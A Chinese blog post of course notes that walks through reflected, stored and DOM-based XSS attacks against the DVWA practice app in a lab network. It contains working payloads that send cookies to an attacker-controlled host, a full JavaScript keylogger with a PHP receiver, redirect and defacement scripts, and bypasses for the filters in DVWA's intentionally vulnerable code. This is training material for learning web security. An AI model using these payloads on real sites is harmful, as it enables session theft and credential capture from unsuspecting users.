Kali Linux渗透测试 098 手动漏洞挖掘-XSS 漏洞

本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程

Kali Linux渗透测试(苑房弘)博客记录

1. 简介
2. 反射型 XSS 漏洞
    2-1. 测试漏洞
    2-2. 常规攻击方法
    2-3. 键盘记录器
    2-4. dvwa 服务器源码
        2-4-1. Low 安全级别
        2-4-2. Medium 安全级别
        2-4-3. High 安全级别
3. 存储型 XSS 漏洞
    3-1. 验证漏洞
    3-2. 漏洞利用
    3-3. dvwa 服务器源码
        3-3-1. Low 安全级别
        3-3-2. Medium 安全级别
        3-3-3. High 安全级别
4. DOM型 XSS 漏洞
    4-1. 漏洞利用

1. 简介


  1. 简介

    • 与 Java 原因无关
    • 命名完全出于市场原因
    • 使用最广的客户端脚本语言
  2. 利用方法

    • 通过 WEB 站点漏洞,向客户端交付恶意执行代码,实现对客户端的攻击目的
    • 注入客户端脚本代码
    • 盗取 cookie
    • 重定向
  3. 使用场景

    - 直接嵌入html:<script> alert('XSS'); </script>
    - 元素标签事件:<body onload=alert('XSS')>
    - 图片标签:<img src="javascript:alert('XSS');">
    - 其他标签:<iframe>, <div>, and <link>
    - DOM对象,篡改页面内容
    
  4. 攻击参与方

    • 攻击者
    • 被攻击者
    • 漏洞站点
    • 第三方站点
  5. 漏洞形成的根源

    • 服务器对用户提交的数据过滤不严
    • 提交给服务器的脚本直接返回给其他客户端执行
    • 脚本咋客户端执行恶意操作
  6. XSS 漏洞类型

    • 存储型(持久性)
    • 反射性(非持久性)
    • DOM 型
  7. 漏洞判断方法

    • 提交数据之后,服务器原封不动的返回给客户端,就可以判断为存在 XSS 漏洞

1. 反射型 XSS 漏洞


1. 测试漏洞

  1. Poc

    - <script>alert(‘xss’)</script>
    - <a href='' onclick=alert('xss')>type</a>
    - <img src=http://1.1.1.1/a.ipg onerror=alert('xss')>
    - <script>window.location='http://1.1.1.1'</script>
    - <iframe SRC="http://1.1.1.1/victim" height = "0" width ="0"></iframe>
    - <script>new Image().src="http://1.1.1.1/c.php?output="+document.cookie;</script>
    - <script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS WEBSITE IS UNDER ATTACK</h1></div>";</script>
    
  2. 在浏览器输入数字 AAAAA

    http://10.10.10.132/dvwa/vulnerabilities/xss_r/
    

    # 原封不动的返回给了客户端,说明存在 XSS 漏洞
    
  3. 使用 BurpSuite

  4. 测试漏洞,链接弹窗

    输入 <a href=https://www.baidu.com>click</a>
    点击链接之后,发现已经跳转到其他页面
    

    点击 click
    

    BurpSuite
    

  5. 测试漏洞,点击弹窗

    输入 <script>alert('xss')</script>
    


  6. 测试漏洞,点击弹窗

    输入 <a href='' onclick=alert('xss')>type</a>
    

    将代码进行 encoder:%3c%61%20%68%72%65%66%3d%27%27%20%6f%6e%63%6c%69%63%6b%3d%61%6c%65%72%74%28%27%78%73%73%27%29%3e%74%79%70%65%3c%2f%61%3e
    



  7. 测试漏洞,错误弹窗

    输入 <img src=http://10.10.10.111/a.ipg onerror=alert('xss')>,错误弹窗
    

  8. 测试漏洞,重定向

    输入 <script>window.location='https://www.baidu.com'</script>
    

    在 kali 监听 80 端口,被攻击者的信息会被收集
    root@kali:~# nc -nvlp 80
    浏览器输入 <script>window.location='http://10.10.10.131'</script>
    

  9. 测试漏洞,框架

    在 kali 监听 80 端口,被攻击者的信息会被收集
    输入 <iframe SRC="http://10.10.10.131/victim" height = "0" width ="0"></iframe>
    

  10. 测试漏洞,提取 cookie 信息

    输入 <script>new Image().src="http://10.10.10.131/c.php?output="+document.cookie;</script>
    

  11. 测试漏洞,篡改页面

    输入 <script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS WEBSITE IS UNDER ATTACK</h1></div>";</script>
    

2. 常规攻击方法

  1. 重定向到其他的地方(肉鸡)读取脚本文件

    在 kali 本机设置 a.js
    


    kali 使用 nc 侦听 88 端口
    输入 <script src="http://10.10.10.131/a.js"></script>
    

3. 键盘记录器

  1. 键盘记录器脚本:Keylogger.js

    # Keylogger.js
    document.onkeypress = function(evt) 
    {
        evt = evt || window.event
        key = String.fromCharCode(evt.charCode)
        if (key) 
        {
            var http = new XMLHttpRequest();
            var param = encodeURI(key)
            http.open("POST","http://10.10.10.131/keylogger.php",true); # keylogger.php:接收键盘记录器信息的脚本
            http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
            http.send("key="+param);
        }
    }
    
  2. 接收键盘记录器信息的脚本:keylogger.php

    <?php
    $key=$_POST['key'];
    $logfile="keylog.txt";
    $fp = fopen($logfile, "a");
    fwrite($fp, $key);
    fclose($fp);
    ?>
    
  3. 接收的客户端的数据存放在文件:keylog.txt

  4. 访问服务器,提交代码

    输入 <script src="http://10.10.10.131/Keylogger.js"></script>
    

  5. 被攻击者的机器被获取键盘记录

    被攻击者在此网页再输入任何数据时,都会被记录
    


4. dvwa 服务器源码

1. Low 安全级别

 <?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
 $isempty = true;
} else {

 echo '<pre>';
 echo 'Hello ' . $_GET['name'];
 echo '</pre>';

}
?> 

2. Medium 安全级别

  1. 源码

     <?php
    if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
     $isempty = true;
    } else {
     echo '<pre>';
     echo 'Hello ' . str_replace('<script>', '', $_GET['name']);
     echo '</pre>'; 
    }
    ?> 
    
  2. 攻击

    # 代码中发现是 str_replace('<script>', '', $_GET['name'])
    输入多层<script>
    <scrip<script>t>alert('xss')</script>
    

3. High 安全级别

  1. 源码

     <?php
    if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
     $isempty = true;  
    } else {
     echo '<pre>';
     echo 'Hello ' . htmlspecialchars($_GET['name']);
     echo '</pre>'; 
    }
    ?> 
    
  2. 分析

    #  htmlspecialchars($_GET['name']) 是将 "<" 和 ">" 分别编码为 "&lt;" 和 "&gt;"
    # 可以将攻击代码写在网页本身的"<"、">"之间,攻击代码自身不含有"<"、">",这样就不会被 htmlspecialchars() 过滤。
    # 比如:<a href='' onclick=alert('xss')>type</a>
    # dvwa 中的返回代码中不存在本身自带的"<"、">",,所以无法验证。
    

2. 存储型 XSS 漏洞


1. 验证漏洞

  1. 验证漏洞,原封不动的显示了输入的信息


  2. 查看第一栏是否会过滤脚本

    输入 <script>alert('xss')</script>
    



  3. 每次点击这个点解时,都会弹框

  4. 查看第二栏是否会过滤脚本

    输入 <script>alert('xssed')</script>
    



  5. 每次点击这个点解时,都会两次弹框


2. 漏洞利用

  1. 创建 a.js

    # kali IP
    root@kali:/var/www/html# cat a.js 
    var img = new Image();
    img.src = "http://10.10.10.131:88/cookies.php?cookie="+document.cookie;
    

    # kali 使用 nc 监听
    

  2. 进行攻击

    输入 <script src=http://10.10.10.131/a.js></script>
    发现无法成功输入,原因是浏览器进行了宽度限制,可以在本地修改
    
    修改浏览器本地宽度
    

    重新输入 <script src=http://10.10.10.131/a.js></script>
    


3. dvwa 服务器源码

1. Low 安全级别

 <?php
if(isset($_POST['btnSign']))
{
   $message = trim($_POST['mtxMessage']);
   $name    = trim($_POST['txtName']);

   // Sanitize message input
   $message = stripslashes($message);
   $message = mysql_real_escape_string($message);

   // Sanitize name input
   $name = mysql_real_escape_string($name);

   $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
   $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
}
?> 

2. Medium 安全级别

 <?php
if(isset($_POST['btnSign']))
{
   $message = trim($_POST['mtxMessage']);
   $name    = trim($_POST['txtName']);

   // Sanitize message input
   $message = trim(strip_tags(addslashes($message)));
   $message = mysql_real_escape_string($message);
   $message = htmlspecialchars($message);

   // Sanitize name input
   $name = str_replace('<script>', '', $name);
   $name = mysql_real_escape_string($name);

   $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";

   $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
}
?> 


# 分析 BurpSuite 可知,响应文件中的 name 只过滤了 <script>,未过滤 </script>,所以可以判断是指过滤了 <script>,可以使用 嵌套<script>
# 输入 <script>alert('xss')</script>

3. High 安全级别

 <?php
if(isset($_POST['btnSign']))
{
   $message = trim($_POST['mtxMessage']);
   $name    = trim($_POST['txtName']);

   // Sanitize message input
   $message = stripslashes($message);
   $message = mysql_real_escape_string($message);
   $message = htmlspecialchars($message);

   // Sanitize name input
   $name = stripslashes($name);
   $name = mysql_real_escape_string($name); 
   $name = htmlspecialchars($name);

   $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";

   $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
}
?> 

3. DOM型 XSS 漏洞


1. 漏洞利用

  • DOM : 一套 JS 和其他语言可调用的标准的 API

    root@kali:~# nc -nvlp 88
    反射型,输入 <script>var img=document.createElement("img");img.src="http://10.10.10.131:88/log?"+escape(document.cookie);</script>
    
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值